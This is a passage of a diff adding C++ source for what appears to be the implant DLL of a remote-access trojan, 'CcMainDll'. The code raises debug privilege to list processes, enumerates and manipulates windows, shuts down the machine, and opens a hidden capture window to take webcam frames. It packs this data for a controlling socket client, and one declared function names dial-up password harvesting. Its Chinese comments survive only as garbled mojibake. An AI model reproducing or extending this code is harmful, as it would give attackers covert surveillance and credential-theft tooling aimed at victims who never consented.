if (_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0)//<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
lstrcpy(pszNtPath, szDrive);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lstrcat(pszNtPath, pszDosPath + cchDevName);//<2F><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lstrcpy(pszNtPath, pszDosPath);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL CSystemManager::GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH])
|
||||
{
|
||||
TCHAR szImagePath[MAX_PATH];
|
||||
HANDLE hProcess;
|
||||
if (!pszFullPath)
|
||||
return FALSE;
|
||||
|
||||
pszFullPath[0] = '\0';
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, dwPID);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
if (!GetProcessImageFileName(hProcess, szImagePath, MAX_PATH))
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!DosPathToNtPath(szImagePath, pszFullPath))
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::getProcessList()
|
||||
{
|
||||
HANDLE hSnapshot = NULL; //<2F><><EFBFBD>վ<EFBFBD><D5BE><EFBFBD>
|
||||
HANDLE hProcess = NULL; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
PROCESSENTRY32 pe32 = {0};
|
||||
DWORD cbNeeded;
|
||||
char strProcessName[MAX_PATH] = {0}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE lpBuffer = NULL; //
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwLength = 0;
|
||||
|
||||
//<2F><>ȡȨ<C8A1><C8A8>
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><CCBF><EFBFBD>
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if(hSnapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ƶ˹<C6B6><CBB9>е<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>ǽ<EFBFBD><C7BD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpBuffer[0] = TOKEN_PSLIST;
|
||||
dwOffset = 1;
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܾͷ<DCBE><CDB7><EFBFBD>
|
||||
if(Process32First(hSnapshot, &pe32))
|
||||
{
|
||||
do
|
||||
{
|
||||
//<2F><EFBFBD><F2BFAABD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
|
||||
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
|
||||
{
|
||||
|
||||
//strProcessName[0] = '\0';
|
||||
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67>û<EFBFBD><C3BB>Ȩ<EFBFBD><EFBFBD><DEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>һ<EFBFBD>ȡ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>ȫ<EFBFBD>棬<EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>GetProcessFullPath<74><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD>
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetProcessFullPath(pe32.th32ProcessID, strProcessName);
|
||||
|
||||
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2BBBAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݽṹ<DDBD><E1B9B9> <20><><EFBFBD><EFBFBD>ID+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
|
||||
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
|
||||
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
|
||||
dwOffset += lstrlen(pe32.szExeFile) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
|
||||
dwOffset += lstrlen(strProcessName) + 1;
|
||||
}
|
||||
}
|
||||
while(Process32Next(hSnapshot, &pe32));//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
//<2F><>lpbuffer<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
CloseHandle(hSnapshot);
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
//<2F><>Ȩ
|
||||
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
|
||||
{
|
||||
BOOL bResult = TRUE;
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES TokenPrivileges;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
bResult = FALSE;
|
||||
return bResult;
|
||||
}
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
|
||||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
if (GetLastError() != ERROR_SUCCESS)
|
||||
{
|
||||
bResult = FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
void CSystemManager::ShutdownWindows( DWORD dwReason )
|
||||
{
|
||||
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
|
||||
ExitWindowsEx(dwReason, 0);
|
||||
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>ڻص<DABB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
{
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
LPBYTE lpBuffer = *(LPBYTE *)lParam;
|
||||
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
return true;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
|
||||
if (lpBuffer == NULL)
|
||||
//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>СΪ1<CEAA><31><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>һ<EFBFBD>ֽ<EFBFBD>Ϊ֪ͨ<CDA8><D6AA><EFBFBD>ƶ˱<C6B6>ʶ
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
|
||||
dwOffset = LocalSize(lpBuffer);
|
||||
|
||||
//<2F><><EFBFBD>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ڵĴ<DAB5><C4B4><EFBFBD><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ݽṹΪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PID + hwnd + <20><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> + 0
|
||||
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
|
||||
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
|
||||
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
|
||||
|
||||
*(LPBYTE *)lParam = lpBuffer;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE CSystemManager::getWindowsList()
|
||||
{
|
||||
LPBYTE lpBuffer = NULL;
|
||||
|
||||
//ö<><C3B6><EFBFBD><EFBFBD>Ļ<EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>еĶ<D0B5><C4B6>㴰<EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD>һ<EFBFBD><D2BB>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//EnumWindows<77><73>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5>ֱ<EFBFBD><D6B1>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĶ<D0B5><C4B6>㴰<EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>ص<DFBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FALSE.
|
||||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>TOKEN_WSLIST<53><54><EFBFBD>ض<EFBFBD>ʶ<EFBFBD><CAB6>
|
||||
lpBuffer[0] = TOKEN_WSLIST;
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
|
||||
//<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
void CSystemManager::CloseTheWindow(LPBYTE buf)
|
||||
{
|
||||
DWORD hwnd;
|
||||
memcpy(&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
::PostMessage((HWND__ *)hwnd, WM_CLOSE, 0, 0); //<2F>ڷ<F2B4B0BF><DAB7>ر<CDB9><D8B1><EFBFBD>Ϣ
|
||||
}
|
||||
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
void CSystemManager::ShowTheWindow(LPBYTE buf)
|
||||
{
|
||||
DWORD hwnd;
|
||||
DWORD dHow;
|
||||
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ShowWindow((HWND__ *)hwnd, dHow);
|
||||
}
|
||||
39
CcMainDll/CcMainDll/common/SystemManager.h
Normal file
39
CcMainDll/CcMainDll/common/SystemManager.h
Normal file
@@ -0,0 +1,39 @@
|
||||
// SystemManager.h: interface for the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow<6F>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵı<DCB5>־
|
||||
virtual ~CSystemManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
static bool DebugPrivilege(const char *PName,BOOL bEnable);
|
||||
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
|
||||
static void ShutdownWindows(DWORD dwReason);
|
||||
private:
|
||||
BYTE m_caseSystemIs;//<2F><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD>̻<EFBFBD><CCBB>ߴ<EFBFBD><DFB4>ڵı<DAB5><C4B1><EFBFBD>
|
||||
|
||||
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
|
||||
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
|
||||
LPBYTE getProcessList();
|
||||
LPBYTE getWindowsList();
|
||||
void SendProcessList();
|
||||
void SendWindowsList();
|
||||
void SendDialupassList();
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
void ShowTheWindow(LPBYTE buf);
|
||||
void CloseTheWindow(LPBYTE buf);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
172
CcMainDll/CcMainDll/common/VideoCap.cpp
Normal file
172
CcMainDll/CcMainDll/common/VideoCap.cpp
Normal file
@@ -0,0 +1,172 @@
|
||||
// VideoCap.cpp: implementation of the CVideoCap class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "VideoCap.h"
|
||||
//#include "..\DynamicAPI.h"
|
||||
#include "..\DynamicAPI.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
bool CVideoCap::m_bIsConnected = false;
|
||||
|
||||
CVideoCap::CVideoCap()
|
||||
{
|
||||
// If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
|
||||
m_hCaptureEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
|
||||
m_lpbmi = NULL;
|
||||
m_lpDIB = NULL;
|
||||
|
||||
|
||||
if (!IsWebCam() || m_bIsConnected)
|
||||
return;
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
m_hWndCap = capCreateCaptureWindow
|
||||
(
|
||||
"CVideoCap",
|
||||
WS_CHILD | WS_VISIBLE,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
m_hWnd,
|
||||
0
|
||||
);
|
||||
}
|
||||
|
||||
CVideoCap::~CVideoCap()
|
||||
{
|
||||
if (m_bIsConnected)
|
||||
{
|
||||
capCaptureAbort(m_hWndCap);
|
||||
capDriverDisconnect(m_hWndCap);
|
||||
|
||||
if (m_lpbmi)
|
||||
delete m_lpbmi;
|
||||
if (m_lpDIB)
|
||||
delete m_lpDIB;
|
||||
m_bIsConnected = false;
|
||||
}
|
||||
|
||||
capSetCallbackOnError(m_hWndCap, NULL);
|
||||
capSetCallbackOnFrame(m_hWndCap, NULL);
|
||||
|
||||
//DynamicAPI myApi;
|
||||
//myApi.init_user32();
|
||||
//myApi.pCloseWindowT(m_hWnd);
|
||||
// myApi.pCloseWindowT(m_hWndCap);
|
||||
DynamicAPI myApi;
|
||||
myApi.init_user32();
|
||||
myApi.pCloseWindowT(m_hWnd);
|
||||
myApi.pCloseWindowT(m_hWndCap);
|
||||
//CloseWindow(m_hWnd);
|
||||
//CloseWindow(m_hWndCap);
|
||||
|
||||
CloseHandle(m_hCaptureEvent);
|
||||
}
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ƵԴ<C6B5>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
LRESULT CALLBACK CVideoCap::capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz)
|
||||
{
|
||||
return (LRESULT)TRUE;
|
||||
}
|
||||
|
||||
LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
|
||||
{
|
||||
try
|
||||
{
|
||||
CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
|
||||
if (pThis != NULL)
|
||||
{
|
||||
memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
|
||||
SetEvent(pThis->m_hCaptureEvent);
|
||||
}
|
||||
}catch(...){};
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool CVideoCap::IsWebCam()
|
||||
{
|
||||
// <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_bIsConnected)
|
||||
return false;
|
||||
|
||||
bool bRet = false;
|
||||
|
||||
char lpszName[100], lpszVer[50];
|
||||
for (int i = 0; i < 10 && !bRet; i++)
|
||||
{
|
||||
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
|
||||
lpszVer, sizeof(lpszVer));
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
LPBYTE CVideoCap::GetDIB()
|
||||
{
|
||||
capGrabFrameNoStop(m_hWndCap);
|
||||
DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, 3000);
|
||||
|
||||
if (dwRet == WAIT_OBJECT_0)
|
||||
return m_lpDIB;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool CVideoCap::Initialize(int nWidth, int nHeight)
|
||||
{
|
||||
CAPTUREPARMS gCapTureParms ; //<2F><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CAPDRIVERCAPS gCapDriverCaps;
|
||||
DWORD dwSize;
|
||||
|
||||
if (!IsWebCam())
|
||||
return false;
|
||||
|
||||
capSetUserData(m_hWndCap, this);
|
||||
|
||||
capSetCallbackOnError(m_hWndCap, capErrorCallback);
|
||||
if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (i = 0; i < 10; i++)
|
||||
{
|
||||
if (capDriverConnect(m_hWndCap, i))
|
||||
break;
|
||||
}
|
||||
if (i == 10)
|
||||
return false;
|
||||
|
||||
|
||||
dwSize = capGetVideoFormatSize(m_hWndCap);
|
||||
m_lpbmi = new BITMAPINFO;
|
||||
|
||||
// M263ֻ֧<D6BB><D6A7>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
|
||||
capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
|
||||
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ĵ<EFBFBD>С
|
||||
if (nWidth && nHeight)
|
||||
{
|
||||
m_lpbmi->bmiHeader.biWidth = nWidth;
|
||||
m_lpbmi->bmiHeader.biHeight = nHeight;
|
||||
m_lpbmi->bmiHeader.biPlanes = 1;
|
||||
m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
|
||||
// ʵ<><CAB5><EFBFBD><EFBFBD>֪һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||
if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
|
||||
return false;
|
||||
}
|
||||
|
||||
m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
|
||||
|
||||
capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
|
||||
|
||||
capOverlay(m_hWndCap, FALSE);
|
||||
capPreview(m_hWndCap, FALSE);
|
||||
capPreviewScale(m_hWndCap, FALSE);
|
||||
|
||||
m_bIsConnected = true;
|
||||
|
||||
return true;
|
||||
}
|
||||
31
CcMainDll/CcMainDll/common/VideoCap.h
Normal file
31
CcMainDll/CcMainDll/common/VideoCap.h
Normal file
@@ -0,0 +1,31 @@
|
||||
// VideoCap.h: interface for the CVideoCap class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
|
||||
#define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_
|
||||
#include <windows.h>
|
||||
#include <vfw.h>
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
class CVideoCap
|
||||
{
|
||||
public:
|
||||
HANDLE m_hCaptureEvent;
|
||||
LPBITMAPINFO m_lpbmi;
|
||||
static bool IsWebCam();
|
||||
bool Initialize(int nWidth = 0, int nHeight = 0);
|
||||
LPBYTE GetDIB();
|
||||
static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz);
|
||||
static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr);
|
||||
CVideoCap();
|
||||
virtual ~CVideoCap();
|
||||
private:
|
||||
LPBYTE m_lpDIB;
|
||||
HWND m_hWnd;
|
||||
HWND m_hWndCap;
|
||||
static bool m_bIsConnected;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
|
||||
221
CcMainDll/CcMainDll/common/VideoManager.cpp
Normal file
221
CcMainDll/CcMainDll/common/VideoManager.cpp
Normal file
@@ -0,0 +1,221 @@
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
//
|
||||
